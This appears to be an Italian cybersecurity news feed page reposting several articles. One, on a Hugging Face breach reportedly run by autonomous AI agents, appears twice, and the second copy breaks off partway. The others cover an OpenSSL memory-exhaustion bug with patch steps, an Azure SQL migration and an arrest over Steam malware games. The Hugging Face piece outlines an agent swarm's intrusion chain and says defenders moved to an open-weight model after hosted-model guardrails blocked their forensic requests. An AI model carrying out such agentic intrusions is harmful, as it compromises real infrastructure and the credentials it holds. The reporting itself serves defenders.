Hugging Face violata da un agente AI autonomo: quando l’attaccante non ha bisogno di un umano


Si parla di:
Toggle

Per la prima volta un fornitore di infrastruttura AI ammette pubblicamente di essere stato violato da un attacco condotto end-to-end da un agente AI autonomo, senza un operatore umano al comando durante l’intrusione vera e propria. Hugging Face, il più grande repository al mondo di modelli e dataset open source, ha reso noto il 16 luglio di aver rilevato e contenuto un’intrusione nella propria infrastruttura di produzione partita da un dataset malevolo e proseguita per un intero weekend attraverso migliaia di azioni automatizzate. L’ironia non è sfuggita a nessuno: la piattaforma che ospita gran parte dell’ecosistema AI open source è stata compromessa da un attacco reso possibile proprio dall’AI agentica.

Il vettore: la pipeline di elaborazione dataset


Il punto di ingresso non è stato un endpoint applicativo generico, ma il cuore stesso del business di Hugging Face: la pipeline che processa i dataset caricati dagli utenti. Un dataset predisposto ad hoc ha sfruttato due distinti code-execution path nel sistema di elaborazione: un remote-code dataset loader (una funzionalità che consente l’esecuzione di codice personalizzato durante il caricamento di certi formati di dataset) e una vulnerabilità di template injection nella configurazione del dataset stesso. La combinazione ha permesso l’esecuzione di codice arbitrario su un processing worker — il classico “primo piede nella porta” che qualunque red teamer riconoscerebbe, solo che qui a orchestrare i passi successivi non c’era una persona.

Da quel singolo worker compromesso, l’attaccante ha scalato privilegi fino ad accesso a livello di nodo, raccolto credenziali cloud e di cluster, e si è mosso lateralmente in diversi cluster interni nell’arco di un intero fine settimana — la finestra temporale preferita da chi attacca infrastrutture aziendali, quando il personale di sicurezza è ridotto e la reattività cala. Hugging Face ha successivamente confermato l’accesso non autorizzato a un insieme limitato di dataset interni e a diverse credenziali di servizio, ma nessuna evidenza di manomissione di modelli, dataset o Spaces pubblici, e la supply chain software (immagini container, pacchetti pubblicati) è risultata pulita.

Uno sciame di sandbox, non uno script


Ciò che distingue questo incidente da un normale attacco automatizzato è la scala e l’autonomia dell’orchestrazione. Secondo Hugging Face, la campagna è stata condotta da un framework di agenti autonomi — verosimilmente costruito su un harness da security research agentico, anche se il modello linguistico usato dall’attaccante resta sconosciuto — capace di eseguire migliaia di azioni individuali distribuite su uno sciame di sandbox effimere, con un’infrastruttura di comando e controllo self-migrating ospitata su servizi pubblici legittimi (una tecnica di “living off trusted services” che rende il traffico C2 difficile da distinguere da normale attività cloud). È esattamente lo scenario dell'”agentic attacker” che l’industria della sicurezza discute da mesi come previsione teorica, qui osservato per la prima volta in produzione contro un target reale.

La caccia forense: quando i guardrail bloccano i difensori


La parte più istruttiva della disclosure riguarda la risposta all’incidente. Il rilevamento iniziale è arrivato da una pipeline di anomaly-detection che usa LLM per il triage della telemetria di sicurezza: è stata la correlazione automatica dei segnali a far scattare l’allarme. Per ricostruire cosa avesse fatto realmente lo sciame di azioni automatizzate, il team ha fatto girare agenti di analisi LLM sull’intero log delle azioni dell’attaccante — oltre 17.000 eventi registrati — per ricostruire la timeline, estrarre indicatori di compromissione, mappare le credenziali toccate e separare l’impatto reale dalle attività diversive. Un lavoro che con metodi tradizionali avrebbe richiesto giorni, completato in poche ore.

Ma è qui che Hugging Face ha incontrato un ostacolo inatteso, e potenzialmente rilevante per ogni team di incident response che lavora con modelli commerciali “hosted”: i primi tentativi di analisi con modelli frontier dietro API commerciali sono falliti, perché le richieste — che necessariamente contenevano comandi di attacco reali, exploit payload e artefatti C2 — venivano bloccate dai guardrail di sicurezza dei provider, incapaci di distinguere un incident responder legittimo da un attaccante. La soluzione è stata spostare l’analisi forense su GLM 5.2, modello open-weight del laboratorio cinese Z.ai, eseguito sull’infrastruttura interna dell’azienda: un doppio vantaggio, perché ha sbloccato l’analisi e ha evitato che dati dell’attaccante e credenziali compromesse uscissero dal perimetro aziendale.

L’asimmetria che nessuno aveva pianificato


Hugging Face descrive questo come “un gap su cui vale la pena pianificare”: non si sa quale modello alimentasse gli agenti dell’attaccante — un modello hosted jailbreakato o uno open-weight senza restrizioni — ma in ogni caso l’attaccante non era vincolato da alcuna policy d’uso, mentre il lavoro forense legittimo dei difensori è stato bloccato proprio dai guardrail dei modelli hosted inizialmente scelti. La lezione pratica che l’azienda condivide con il settore: avere già pronto e validato, prima che scoppi un incidente, un modello capace eseguibile sulla propria infrastruttura, sia per evitare il lockout dei guardrail sia per mantenere dati e credenziali sensibili entro il proprio perimetro. Non è, precisano, un argomento contro le misure di sicurezza sui modelli hosted — è un feedback che l’azienda dice di aver già condiviso con i provider coinvolti.

Timeline dell’incidente


  • Settimana del 6 luglio 2026: rilevamento dell’intrusione nella pipeline di elaborazione dataset tramite anomaly-detection basata su LLM.
  • Weekend successivo al primo accesso: escalation di privilegi, raccolta di credenziali cloud/cluster, movimento laterale su più cluster interni condotto dallo sciame di agenti autonomi.
  • 16 luglio 2026: pubblicazione della disclosure ufficiale sul blog Hugging Face, con dettaglio tecnico del vettore e delle contromisure adottate.
  • Contestualmente: chiusura dei code-execution path usati come accesso iniziale, rotazione precauzionale di credenziali e token, rafforzamento degli admission control sui cluster, coinvolgimento di specialisti forensi esterni e notifica alle forze dell’ordine.


Due righe per i difensori


Questo incidente non è solo una curiosità tecnica: ridefinisce cosa significa “superficie di attacco” per qualunque piattaforma che elabora contenuti generati da utenti tramite pipeline automatizzate, AI o non AI.

  • Trattare ogni pipeline di data processing che esegue codice fornito dall’utente (loader personalizzati, plugin, configurazioni con logica di templating) come superficie di attacco di prima classe, non come funzionalità di prodotto neutra.
  • Validare in anticipo — prima di un incidente — un modello LLM eseguibile on-premise o in ambiente isolato per l’analisi forense, così da non dipendere da provider commerciali i cui guardrail possono bloccare legittime attività di incident response.
  • Assumere che attacchi “a sciame” con orchestrazione agentica possano operare a velocità e scala superiori a quelle di un operatore umano, e dimensionare di conseguenza i tempi di detection e risposta: Hugging Face cita l’obiettivo di allertare un responder “in pochi minuti, in qualsiasi giorno della settimana”.
  • Segmentare rigorosamente i processing worker dal resto del cluster e limitare il raggio d’azione di credenziali cloud raccolte da un singolo nodo compromesso, per contenere il movimento laterale anche quando l’accesso iniziale non può essere prevenuto al 100%.


Indicatori e dettagli tecnici noti

Target: infrastruttura di produzione Hugging Face (dataset processing pipeline)
Vettore iniziale: dataset malevolo caricato dall'utente
Tecniche di code execution: remote-code dataset loader + template injection in dataset config
Escalation: da worker compromesso a node-level access
Post-exploitation: raccolta credenziali cloud/cluster, movimento laterale multi-cluster
Durata campagna attiva: un intero weekend
Orchestrazione: framework di agenti autonomi, presumibile harness di security-research agentico
Infrastruttura C2: self-migrating, ospitata su servizi pubblici legittimi
Eventi registrati nel log dell'attaccante: 17.000+
Impatto confermato: accesso non autorizzato a dataset interni limitati e a credenziali di servizio
Impatto escluso: nessuna manomissione di modelli/dataset/Spaces pubblici; supply chain software verificata pulita
Strumento di analisi forense: GLM 5.2 (Z.ai, open-weight), eseguito su infrastruttura interna
Contatto per segnalazioni: security@huggingface.co

Hugging Face raccomanda a chi utilizza la piattaforma di ruotare i propri access token e rivedere l’attività recente sui rispettivi account. L’azienda ha inoltre chiarito di stare ancora completando la valutazione di eventuali impatti su dati di partner o clienti, con notifiche dirette previste per le parti coinvolte.

Cybersecurity & cyberwarfare ha ricondiviso questo.

The AI hype is a mass psychosis echo chamber of incompetent individuals
L: aob2f.substack.com/p/the-ai-hy…
C: news.ycombinator.com/item?id=4…
posted on 2026.07.20 at 13:22:13 (c=1, p=8)

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

Unisciti al team di comunicazione dei Pirati Europei e contribuisci a dare forma alla nostra voce in tutta Europa!

Stiamo ampliando il team di comunicazione dei Pirati europei e cerchiamo volontari esperti che ci aiutino a definire la nostra strategia di comunicazione in tutta Europa.

Che tu sia un professionista della comunicazione esperto, un giornalista, un attivista o uno stratega digitale, questi ruoli offrono l'opportunità di contribuire a un movimento politico paneuropeo. Lavorando a fianco di volontari provenienti da tutta Europa, aiuterai a comunicare le nostre idee, a interagire con i cittadini e i media e a sostenere le campagne che promuovono la nostra visione di un'Europa più libera e aperta.

Candidati se ti appassionano la politica europea, i diritti digitali e la comunicazione pubblica efficace.
Ti piacerebbe mettere a frutto le tue competenze in un team internazionale di volontari? Non vediamo l'ora di conoscerti!

Al momento siamo alla ricerca di volontari per le seguenti posizioni:

europeanpirates.eu/join-the-eu…

@Pirati Europei

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

wp2shell: The WordPress Core Bug That Lets Anyone Take Over 500 Million Sites Without Logging In
#CyberSecurity
securebulletin.com/wp2shell-th…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

HollowByte: How 11 Bytes Can Quietly Starve an OpenSSL Server to Death
#CyberSecurity
securebulletin.com/hollowbyte-…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

SQL Server su VM Azure: la migrazione via Azure Arc è ora GA, ecco come funziona
#tech
spcnet.it/sql-server-su-vm-azu…
@informatica


SQL Server su VM Azure: la migrazione via Azure Arc è ora GA, ecco come funziona


Chi gestisce ambienti SQL Server on-premises conosce bene il problema: la migrazione verso il cloud richiede quasi sempre di mettere insieme tool diversi per la valutazione, il trasferimento dei dati, il monitoraggio e infine il cutover. Ogni fase ha strumenti propri, competenze diverse e margini di errore che si sommano. Con l’annuncio della disponibilità generale (GA) della migrazione a SQL Server su macchine virtuali Azure tramite Azure Arc, Microsoft porta l’intero ciclo di vita della migrazione dentro un’unica esperienza guidata nel portale Azure, lo stesso modello già usato per le migrazioni verso Azure SQL Managed Instance.

Per chi amministra data center misti, con carichi legacy e SQL Server sparsi su fisico e virtuale, questa novità merita attenzione: non è solo un annuncio di marketing, ma un cambio concreto di flusso di lavoro operativo.

Cos’è cambiato con la GA


Fino a poco tempo fa, chi voleva spostare un’istanza SQL Server su una VM Azure doveva combinare Azure Migrate, Database Migration Service e strumenti di backup/restore manuali, gestendo ciascuno con logiche e dashboard separate. Con la funzionalità di migrazione integrata in Azure Arc, il processo si consolida in quattro fasi accessibili da un singolo pannello, il Database Migration, associato all’istanza SQL Server abilitata da Arc:

  • Assess source instance — valutazione di leggibilità e readiness dell’istanza sorgente
  • Select target — scelta o creazione della VM SQL Server di destinazione
  • Migrate data — trasferimento effettivo dei database
  • Monitor and cutover — monitoraggio della sincronizzazione e passaggio finale in produzione

La discovery delle istanze e la generazione dei report di readiness avvengono automaticamente ogni fine settimana, ma possono essere lanciate anche manualmente, senza configurazioni aggiuntive: la funzione è disponibile di default per tutte le istanze SQL Server abilitate da Arc a partire da SQL Server 2012 (11.x).

Pannello di riepilogo della migrazione database nel portale Azure

Copilot integrato nel flusso di migrazione


Una parte interessante della nuova esperienza è l’integrazione di Microsoft Copilot direttamente nel pannello di migrazione. Non si tratta di un chatbot generico: interroga la knowledge base Microsoft nel contesto specifico della vostra migrazione e risponde a richieste operative come:

Come vengono eseguite le valutazioni?
Aiutami a confrontare le opzioni di destinazione
Avvia la migrazione
Aiutami a scegliere il metodo di migrazione corretto
Monitora la migrazione in corso
Completa la migrazione

Per un DBA che gestisce decine di istanze, questo significa poter chiedere direttamente nel pannello “quale VM SKU è consigliata per questo carico?” invece di andare a cercare tabelle di sizing nella documentazione.

Come funziona la migrazione via backup e restore


Il meccanismo sotto il cofano non è nuovo per chi ha familiarità con le migrazioni SQL Server classiche: si basa su backup e restore con log shipping continuo, pensato per supportare scenari di migrazione online con downtime minimo.

  1. Viene eseguito un backup completo del database sorgente
  2. Il backup viene caricato su un account di Azure Blob Storage intermedio
  3. Il backup viene ripristinato sull’istanza SQL Server target sulla VM Azure
  4. I backup dei log delle transazioni vengono caricati in continuo sullo stesso storage e applicati automaticamente al database target, mantenendolo sincronizzato
  5. Al momento del cutover, Azure Arc applica l’ultimo backup caricato e porta online il database target

Un vincolo operativo da tenere a mente in fase di progettazione: l’account di Azure Blob Storage e la VM SQL Server target devono trovarsi nella stessa region Azure. È un dettaglio facile da trascurare se si pianifica la migrazione partendo dalla region “storica” dell’organizzazione invece che da quella scelta per il nuovo carico.

Prerequisiti pratici


  • Una subscription Azure attiva
  • L’istanza SQL Server deve essere abilitata da Azure Arc con l’estensione più recente installata (l’estensione si aggiorna indipendentemente da SQL Server, quindi va controllata separatamente)
  • L’ambiente sorgente preparato secondo le linee guida ufficiali, incluso l’upload iniziale dei backup nello storage account

Per verificare rapidamente la versione dell’istanza sorgente prima di avviare l’assessment, un semplice controllo T-SQL è sempre un buon punto di partenza:

SELECT SERVERPROPERTY('ProductVersion') AS Versione,
       SERVERPROPERTY('Edition') AS Edizione,
       SERVERPROPERTY('EngineEdition') AS TipoMotore;

Cosa considerare prima di partire


Il pannello di monitoraggio e cutover mostra in tempo reale quali database sono migrati con successo, quali sono ancora in corso, il metodo di migrazione scelto, la durata della sincronizzazione e i log dettagliati. Quando lo stato passa a “Ready for cutover”, si può decidere il momento esatto del passaggio in produzione selezionando Cutover, con opzioni diverse in base al metodo di migrazione utilizzato.

Va detto che, come per ogni migrazione basata su backup/restore, restano da valutare a parte gli aspetti di sizing della VM di destinazione (storage, IOPS, memoria per il buffer pool), la licenza SQL Server (Hybrid Benefit se applicabile) e la strategia di alta disponibilità post-migrazione, che questo strumento non copre direttamente ma per cui l’assessment fornisce indicazioni.

Conclusione


Portare discovery, assessment, migrazione e monitoraggio in un’unica dashboard riduce sensibilmente l’attrito operativo delle migrazioni SQL Server verso Azure, soprattutto per i team che gestiscono ambienti ibridi complessi con decine o centinaia di istanze. Non elimina la necessità di pianificazione — region, sizing e licensing restano decisioni da prendere a monte — ma consolida in un solo posto ciò che prima richiedeva più tool scollegati tra loro. Per chi ha già istanze abilitate da Azure Arc, vale la pena aggiornare l’estensione e lanciare un primo assessment anche solo per farsi un’idea della readiness del proprio parco macchine.

Fonte: Petri IT Knowledgebase e documentazione Microsoft Learn.


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Decade-Old NGINX Bug Finally Exposed: A Single Regex Quirk Enables Remote Code Execution
#CyberSecurity
securebulletin.com/decade-old-…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

HollowByte: come 11 byte possono esaurire la memoria dei server OpenSSL
#tech
spcnet.it/hollowbyte-come-11-b…
@informatica


HollowByte: come 11 byte possono esaurire la memoria dei server OpenSSL


Ogni tanto una vulnerabilità ricorda quanto la nostra infrastruttura digitale dipenda da librerie fondamentali che diamo per scontate. È il caso di HollowByte, una falla di tipo Denial of Service scoperta dal team di ricerca di Okta in OpenSSL: con un payload malevolo di appena 11 byte, un attaccante remoto e non autenticato può costringere un server ad allocare quantità di memoria completamente sproporzionate, prima ancora che l’handshake di sicurezza abbia inizio.

Per chi gestisce server web, database o qualsiasi servizio che parla TLS — quindi, in pratica, quasi tutti i sistemisti — vale la pena capire come funziona e, soprattutto, cosa fare subito.

Fidarsi ciecamente dell’header


L’handshake TLS comincia con un messaggio ClientHello incapsulato in un record. Ogni messaggio di handshake porta un header di 4 byte che dichiara quanto sarà grande il corpo del messaggio in arrivo.

Nelle versioni vulnerabili di OpenSSL, il buffer di ricezione viene allocato sulla base di quella lunghezza dichiarata dall’attaccante, prima ancora che i dati siano effettivamente arrivati. La catena di chiamate è semplice quanto pericolosa:

Lettura header (4 byte)
  → grow_init_buf()
    → OPENSSL_clear_realloc()
      → malloc(dimensione_dichiarata_dall_attaccante)

Poiché a questo stadio non esiste alcuna validazione del payload, un header che dichiara una lunghezza di 3 byte può far allocare fino a 131 KB basandosi solo sulla dichiarazione del pacchetto, che nessuno verifica. Il worker thread resta poi bloccato ad attendere dati che non arriveranno mai.

L’effetto moltiplicatore: la frammentazione della memoria


Tenere connessioni aperte per esaurire i thread è un trucco vecchio quanto Slowloris. Quello che rende HollowByte più insidioso è l’interazione con la gestione della memoria di glibc (GNU C Library).

Quando una connessione dell’attaccante si chiude, OpenSSL libera il buffer — ma glibc non restituisce immediatamente al sistema operativo le allocazioni di dimensione piccola o media: le trattiene per un possibile riutilizzo. Lanciando ondate di connessioni con dimensioni dichiarate casuali, un attaccante impedisce all’allocatore di riutilizzare in modo efficiente quei blocchi liberati. L’heap si frammenta pesantemente e la Resident Set Size (RSS) del processo cresce in modo continuo.

Il punto critico è questo: anche dopo che l’attaccante si è disconnesso, il processo resta con un footprint di memoria permanentemente gonfiato. L’unico modo per recuperarla davvero è riavviare il servizio.

I numeri dei test


Il team di Okta ha testato istanze OpenSSL patchate e non patchate dietro NGINX, sotto diverse condizioni di carico:

  • In un ambiente con 1 GB di RAM, il server non patchato è stato terminato dall’OOM killer dopo aver accumulato 547 MB di memoria frammentata e inutilizzabile
  • In un ambiente con 16 GB di RAM, l’attacco ha bloccato il 25% della memoria totale del sistema, restando sotto la soglia massima di connessioni consentite — il che significa che le classiche difese basate su rate limiting delle connessioni non fermano questo attacco

Dato che OpenSSL è incorporato ovunque, l’impatto potenziale copre web server (Apache, NGINX), runtime di linguaggi (Node.js, Python, Ruby, PHP) e database (MySQL, PostgreSQL) che si appoggiano alla libreria per TLS.

La correzione: crescita incrementale del buffer


Il team OpenSSL ha risolto il problema passando a una crescita incrementale del buffer (merge delle pull request #30792, #30793 e #30794): invece di fidarsi della lunghezza dichiarata nell’header, il buffer cresce solo quando i byte arrivano effettivamente sulla connessione. Una dichiarazione senza seguito ora non costa più nulla al server.

Il fix è stato incluso silenziosamente nella release OpenSSL 4.0.1, con backport altrettanto silenziosi sulle versioni:

3.6.3
3.5.7
3.4.6
3.0.21

Un dettaglio non trascurabile: OpenSSL ha trattato la correzione come un semplice hardening fix, senza assegnare un CVE ufficiale, nonostante la gravità dell’impatto. Questo significa che molti scanner di vulnerabilità basati solo su database CVE potrebbero non segnalare l’esposizione: va verificata manualmente la versione installata.

Cosa fare subito


Alcune azioni concrete da mettere in pratica sui vostri sistemi:

  • Verificate la versione di OpenSSL su tutti i server esposti:


openssl version -a

  • Aggiornate i pacchetti di sistema alla versione patchata più recente disponibile per la vostra distribuzione:


# Debian/Ubuntu
apt update && apt list --upgradable | grep -i openssl
apt install --only-upgrade openssl libssl3

# RHEL/Fedora/Alma
dnf check-update openssl
dnf update openssl

  • Non fermatevi al pacchetto di sistema: controllate anche runtime e linguaggi che incorporano una propria build di OpenSSL (build statiche di Node.js, alcune distribuzioni Python, container con immagini “slim” che a volte portano versioni di OpenSSL più vecchie di quelle dell’host)
  • Monitorate la RSS dei processi che terminano connessioni TLS, non solo il numero di connessioni attive: un aumento di memoria residente senza corrispondente crescita del traffico è un segnale d’allarme
  • Irrigidite i timeout di handshake lato reverse proxy, ad esempio su NGINX:


ssl_handshake_timeout 10s;
client_header_timeout 10s;

  • Valutate regole di rate limiting sulle nuove connessioni TLS per IP a livello di firewall o WAF, anche se — come mostrato dai test — da sole non bastano contro questa specifica tecnica


Conclusione


HollowByte è un buon esempio di come un bug apparentemente piccolo — la fiducia cieca in un header di pochi byte — possa diventare un vettore di Denial of Service difficile da rilevare con le metriche di monitoraggio standard, perché resta sotto le soglie di allarme sulla banda e sulle connessioni. La buona notizia è che la correzione è già disponibile e il percorso di mitigazione è chiaro: aggiornare OpenSSL su tutta la superficie esposta, non fidarsi solo dei database CVE per capire se si è vulnerabili, e aggiungere il monitoraggio della memoria residente ai controlli già in essere sui vostri servizi TLS.

Fonte: BleepingComputer e Okta Security.


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

This Week’s Threat Landscape: Patch Tuesday’s 570 Fixes, an Active Directory Zero-Day, and AI Tools Under Fire
#CyberSecurity
securebulletin.com/this-weeks-…
Cybersecurity & cyberwarfare ha ricondiviso questo.

Un ordine su Uber Eats incastra la banda dietro i giochi-malware PirateFi e BlockBlasters su Steam


L'FBI arresta Zyaire Wilkins, 21 anni, primo indagato pubblicamente noto per una rete di giochi Steam infetti (BlockBlasters, PirateFi, Dashverse, Lunara) che ha rubato 220.000 dollari da 8.000 vittime. A tradirlo, una gift card Uber Eats comprata con Bitcoin rubato.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Si parla di:
Toggle

Per quasi due anni un gruppo criminale ha pubblicato su Steam videogiochi apparentemente innocui — tra cui BlockBlasters, Dashverse, Lunara e PirateFi — che nascondevano malware capace di svuotare i portafogli cripto delle vittime. Il 15 luglio 2026 l’FBI ha arrestato il primo membro pubblicamente noto dell’operazione: Zyaire Dontaevious Zamarion Wilkins, 21 anni, di North Lauderdale, Florida, noto online come Sibel.eth. A incastrarlo non è stata un’indagine sulla blockchain, ma un dettaglio molto più terreno: un ordine di cibo a domicilio pagato con una gift card comprata con Bitcoin rubato.

Uno schema attivo da maggio 2024


Secondo la denuncia penale di 15 pagine depositata a Seattle — sede scelta non a caso, essendo la città più vicina al quartier generale di Valve a Bellevue — lo schema ha infettato circa 8.000 dispositivi e sottratto almeno 220.000 dollari da circa 80 portafogli di criptovalute, tra maggio 2024 e febbraio 2026. Il tasso di successo, poco sopra l’1% dei dispositivi infettati, non è casuale: gli otto giochi elencati nell’atto d’accusa venivano promossi su Discord, Telegram, X e LinkedIn, e i complici usavano bot per identificare utenti con portafogli cripto consistenti e contattarli direttamente, invece di affidarsi alla sola diffusione di massa.

Wilkins, secondo l’accusa, non ha scritto il malware ma ne ha finanziato lo sviluppo e curato la promozione. Chat Signal sequestrate a casa dello sviluppatore del malware — non identificato nell’atto d’accusa e a oggi non incriminato — collegano Wilkins, sotto lo pseudonimo Sibel.eth, a un pagamento di 10.000 dollari per l’acquisto di un trojan ad accesso remoto (RAT) e a discussioni su come indurre le vittime ad approvare transazioni che ne svuotavano i portafogli.

Il precedente di BlockBlasters e i fondi di beneficenza rubati


Non è la prima volta che questo cluster di giochi malevoli fa notizia. I ricercatori ZachXBT e il collettivo vx-underground avevano già stimato che il solo BlockBlasters avesse sottratto oltre 150.000 dollari a un numero di vittime compreso tra 261 e 478, incluso un episodio particolarmente odioso nel settembre 2025: 32.000 dollari donati per curare un tumore, rubati dal portafoglio di una streamer Twitch che stava raccogliendo fondi per le proprie cure oncologiche. L’FBI aveva iniziato a cercare pubblicamente le vittime di questi giochi infetti a marzo 2026, e Steam negli ultimi due anni ha visto una serie costante di incidenti simili, incluso il caso Chemia, un gioco in accesso anticipato che nascondeva tre ceppi di malware diversi: cryptojacking, infostealer e una backdoor per installare ulteriore malware in futuro.

Dalla blockchain a Uber Eats: come è stato individuato


La parte più istruttiva del caso, dal punto di vista investigativo, è la catena di tracciamento. Gli inquirenti hanno seguito i Bitcoin rubati fino a un portafoglio dello schema che li ha convertiti in oltre 150 gift card tramite Bitrefill, un servizio che permette di acquistare buoni regalo con criptovalute. Una parte consistente di quelle gift card è stata spesa su Uber Eats. Una richiesta formale (subpoena) inviata a Uber ha permesso di collegare le gift card a un account che riceveva consegne proprio all’abitazione della famiglia Wilkins a North Lauderdale e agli indirizzi frequentati dall’indagato all’Università della Florida Occidentale.

Quando gli agenti hanno perquisito l’abitazione, una settimana prima dell’arresto, hanno sequestrato diversi dispositivi e tre seed phrase di portafogli cripto, una delle quali relativa a un wallet Monero — la criptovaluta privacy-oriented spesso usata proprio per rendere più difficile questo tipo di tracciamento. La cronologia delle transazioni di Wilkins, secondo l’atto d’accusa, mostra un flusso complessivo di 382.000 dollari in criptovalute inviate o ricevute, ben oltre i 220.000 dollari attribuiti direttamente allo schema contestato.

Timeline


  • Maggio 2024 – febbraio 2026: periodo di attività dello schema, otto giochi infetti distribuiti su Steam
  • Settembre 2025: BlockBlasters svuota il portafoglio di una streamer Twitch che raccoglieva fondi per cure oncologiche (32.000 dollari)
  • Marzo 2026: l’FBI rende pubblica la ricerca di vittime dei giochi Steam infetti
  • Inizio luglio 2026: perquisizione dell’abitazione di Wilkins a North Lauderdale, sequestro di dispositivi e seed phrase
  • 15 luglio 2026: arresto di Zyaire Wilkins e deposito della denuncia penale presso il tribunale federale di Seattle


Cosa resta aperto


Wilkins deve rispondere di cospirazione per l’ottenimento di informazioni tramite computer a scopo di profitto privato, un capo d’accusa che prevede fino a dieci anni di carcere. Ma la parte tecnica dell’operazione resta scoperta: lo sviluppatore del RAT e del malware che infettava i giochi non è nominato nell’atto d’accusa e, a oggi, non risulta incriminato, nonostante la sua abitazione sia già stata perquisita. È un pattern comune nelle indagini su cybercrime organizzato attorno alle criptovalute: chi finanzia e promuove viene identificato per primo, spesso tramite un errore operativo banale, mentre chi scrive il codice — più attento all’anonimato tecnico ma non necessariamente a quello finanziario — richiede più tempo.

Per i difensori, il caso conferma due lezioni già note ma sistematicamente ignorate: primo, la promozione mirata via bot verso utenti con portafogli consistenti rende inefficaci le difese basate solo sul volume di download o sulle recensioni Steam; secondo, ogni conversione di criptovaluta rubata in un servizio che tocca il mondo reale — gift card, delivery, e-commerce — riapre una superficie di tracciamento che l’uso di Monero a monte non riesce a chiudere del tutto. Per chi acquista giochi indie su Steam, resta valida la raccomandazione di isolare il portafoglio cripto su un dispositivo separato da quello usato per il gaming, e di trattare con sospetto qualsiasi titolo nuovo che chieda permessi di sistema non giustificati dal gameplay.

Indicatori e riferimenti del caso

Indagato: Zyaire Dontaevious Zamarion Wilkins, 21 anni, North Lauderdale (FL)
Alias online: Sibel.eth
Capo d'imputazione: cospirazione per ottenimento di informazioni tramite computer
                     a scopo di profitto privato (fino a 10 anni)
Foro competente: Tribunale federale di Seattle, WA

Giochi Steam associati allo schema:
BlockBlasters, Dashverse, Lunara, PirateFi (+ 4 titoli aggiuntivi non ancora resi noti)

Canali di promozione: Discord, Telegram, X, LinkedIn
Servizio di conversione: Bitrefill (BTC -> gift card, 150+ carte, prevalenza Uber Eats)
Wallet sequestrati: 3 seed phrase, incl. 1 wallet Monero
Flusso cripto totale osservato sul conto dell'indagato: ~382.000 USD
Perdite attribuite allo schema: ~220.000 USD da ~80 wallet, ~8.000 dispositivi infetti

Fonti: denuncia penale depositata presso il tribunale federale di Seattle, prima riportata da WPLG Local 10; ricostruzione tecnica di Tom’s Hardware (17 luglio 2026); dati sulle perdite di BlockBlasters da ZachXBT e vx-underground.
Questa voce è stata modificata (1 settimana fa)
Cybersecurity & cyberwarfare ha ricondiviso questo.

Hugging Face violata da un agente AI autonomo: quando l’attaccante non ha bisogno di un umano


Per la prima volta un grande provider di infrastruttura AI conferma un'intrusione condotta end-to-end da un framework di agenti autonomi: dataset malevolo, escalation e movimento laterale in un intero weekend, oltre 17.000 azioni registrate. E i difensori hanno dovuto aggirare i guardrail dei modelli commerciali per fare l'analisi forense.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Si parla di:
Toggle

Per la prima volta un fornitore di infrastruttura AI ammette pubblicamente di essere stato violato da un attacco condotto end-to-end da un agente AI autonomo, senza un operatore umano al comando durante l’intrusione vera e propria. Hugging Face, il più grande repository al mondo di modelli e dataset open source, ha reso noto il 16 luglio di aver rilevato e contenuto un’intrusione nella propria infrastruttura di produzione partita da un dataset malevolo e proseguita per un intero weekend attraverso migliaia di azioni automatizzate. L’ironia non è sfuggita a nessuno: la piattaforma che ospita gran parte dell’ecosistema AI open source è stata compromessa da un attacco reso possibile proprio dall’AI agentica.

Il vettore: la pipeline di elaborazione dataset


Il punto di ingresso non è stato un endpoint applicativo generico, ma il cuore stesso del business di Hugging Face: la pipeline che processa i dataset caricati dagli utenti. Un dataset predisposto ad hoc ha sfruttato due distinti code-execution path nel sistema di elaborazione: un remote-code dataset loader (una funzionalità che consente l’esecuzione di codice personalizzato durante il caricamento di certi formati di dataset) e una vulnerabilità di template injection nella configurazione del dataset stesso. La combinazione ha permesso l’esecuzione di codice arbitrario su un processing worker — il classico “primo piede nella porta” che qualunque red teamer riconoscerebbe, solo che qui a orchestrare i passi successivi non c’era una persona.

Da quel singolo worker compromesso, l’attaccante ha scalato privilegi fino ad accesso a livello di nodo, raccolto credenziali cloud e di cluster, e si è mosso lateralmente in diversi cluster interni nell’arco di un intero fine settimana — la finestra temporale preferita da chi attacca infrastrutture aziendali, quando il personale di sicurezza è ridotto e la reattività cala. Hugging Face ha successivamente confermato l’accesso non autorizzato a un insieme limitato di dataset interni e a diverse credenziali di servizio, ma nessuna evidenza di manomissione di modelli, dataset o Spaces pubblici, e la supply chain software (immagini container, pacchetti pubblicati) è risultata pulita.

Uno sciame di sandbox, non uno script


Ciò che distingue questo incidente da un normale attacco automatizzato è la scala e l’autonomia dell’orchestrazione. Secondo Hugging Face, la campagna è stata condotta da un framework di agenti autonomi — verosimilmente costruito su un harness da security research agentico, anche se il modello linguistico usato dall’attaccante resta sconosciuto — capace di eseguire migliaia di azioni individuali distribuite su uno sciame di sandbox effimere, con un’infrastruttura di comando e controllo self-migrating ospitata su servizi pubblici legittimi (una tecnica di “living off trusted services” che rende il traffico C2 difficile da distinguere da normale attività cloud). È esattamente lo scenario dell'”agentic attacker” che l’industria della sicurezza discute da mesi come previsione teorica, qui osservato per la prima volta in produzione contro un target reale.

La caccia forense: quando i guardrail bloccano i difensori


La parte più istruttiva della disclosure riguarda la risposta all’incidente. Il rilevamento iniziale è arrivato da una pipeline di anomaly-detection che usa LLM per il triage della telemetria di sicurezza: è stata la correlazione automatica dei segnali a far scattare l’allarme. Per ricostruire cosa avesse fatto realmente lo sciame di azioni automatizzate, il team ha fatto girare agenti di analisi LLM sull’intero log delle azioni dell’attaccante — oltre 17.000 eventi registrati — per ricostruire la timeline, estrarre indicatori di compromissione, mappare le credenziali toccate e separare l’impatto reale dalle attività diversive. Un lavoro che con metodi tradizionali avrebbe richiesto giorni, completato in poche ore.

